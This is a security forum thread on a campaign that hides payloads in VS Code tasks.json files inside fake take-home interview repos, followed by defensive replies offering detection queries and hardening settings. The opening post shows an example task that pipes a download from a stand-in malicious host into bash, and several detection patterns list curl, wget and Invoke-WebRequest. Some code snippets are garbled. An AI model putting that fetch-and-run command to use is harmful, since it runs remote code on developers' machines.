StoatWaffle Malware: Weaponizing VS Code tasks. in Developer Interviews
Has anyone seen the new report on the "Contagious Interview" campaign (WaterPlum)? They're weaponizing VS Code projects now.
According to the latest intel, North Korean actors are distributing a new malware family, StoatWaffle, by abusing the tasks. file in VS Code. It’s a clever pivot—targeting devs with a "take-home test" repo that auto-executes malicious payloads as soon as the environment loads.
Technical Breakdown
The attack relies on the VS Code tasks. configuration, typically used for automation. Here is what a malicious configuration might look like (conceptual):
{ "version": "2.0.0", "tasks": [ { "label": "build", "type": "shell", "command": "curl -s http://malicious-site[.]com/payload.sh | bash", "problemMatcher": [] } ] }
When the developer attempts to build the project or triggers the task via the IDE, the payload executes. This has been active since late 2025, specifically targeting developers in fake recruitment processes.
Detection & Mitigation
Since this abuses legitimate IDE functionality, standard EDR might miss it if the execution chain looks like a standard build process.
- Detection: Look for child processes spawned by
code.exeorelectronthat aren't standard dev tools (like PowerShell curling to external IPs). - YARA Rule: Check for specific patterns in
.vscode/tasks.that contain remote execution commands.
Here is a basic KQL query for Sentinel to spot suspicious VS Code activity:
DeviceProcessEvents
| where ProcessVersionInfoOriginalFileName in ("Code.exe", "electron.exe")
| where InitiatingProcessFileName has "code.exe"
| where ProcessCommandLine contains "curl" or ProcessCommandLine contains "Invoke-WebRequest"
Are you all vetting tasks. in your CI/CD pipelines or local dev environments now? This feels like a supply chain nightmare waiting to happen.
This is exactly why we enforce "air-gapped" review environments for all external code candidates. If you send me a repo, it gets cloned into a VM that has no internet access. If tasks. tries to curl out, it fails immediately and we flag the candidate. It’s a bit of extra setup, but it completely neutralizes this vector.
Great catch on the KQL. I'd also suggest checking for code serving as a parent process to cmd or powershell outside of standard directories. In my experience, these actors often try to masquerade the payload as a 'post-install' script for npm dependencies. You can use this PowerShell snippet to audit existing repos on disk:
Get-ChildItem -Path C:\Dev -Recurse -Filter "tasks." -ErrorAction SilentlyContinue | Select-String -Pattern "curl|wget|Invoke-WebRequest"
From a pentester's perspective, this is brilliant social engineering. Developers expect build tasks to run weird commands; it's part of the job. The best mitigation I've seen is disabling 'Auto Build' or 'Tasks on Save' in VS Code settings entirely for corporate laptops. Force the user to manually trigger tasks so they at least have a chance to review the command before it hits the terminal.
Great insights. To build on the defensive side, we automate the inspection of the .vscode directory before allowing any IDE interaction. A quick pre-flight check for workspace configurations can stop this cold.
Here’s a snippet we use to flag suspicious structures before they're even opened:
if [ -d ".vscode" ]; then
find .vscode -type f -exec echo "Found VS Code config: {}" \;
fi
Simple, but effective for preventing that initial execution.
Validating the JSON structure is a solid first step, but I’d also recommend parsing tasks. for obfuscated arguments. Since these actors love hiding payloads, a quick script to flag Base64 or encoded strings within command arguments can be a lifesaver before execution.
import , re
with open('.vscode/tasks.') as f:
data = .load(f)
for task in data['tasks']:
cmd = str(task.get('command', '')) + str(task.get('args', []))
if re.search(r'[A-Za-z0-9+/]{20,}={0,2}', cmd):
print(f"Suspicious encoding in: {task['label']}")
Great insights. Beyond inspection, enforcing strict PowerShell execution policies is a solid safety net if a task triggers. We recommend setting RemoteSigned for dev accounts to block unsigned scripts launched by VS Code:
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
This stops the payload even if the .tasks configuration is abused. It’s a quick win that fits well into standard onboarding baselines.
Leveraging VS Code’s native Workspace Trust feature is a critical control here. By enforcing this via enterprise policy, we ensure no tasks or extensions run in untrusted folders. This aligns with Zero Trust principles—never trust the repo, always verify execution permissions. You can enforce this restriction in the user settings:
{ "security.workspace.trust.enabled": true, "security.workspace.trust.startupPrompt": "always" }
Verified Access Required
To maintain the integrity of our intelligence feeds, only verified partners and security professionals can post replies.
Request Access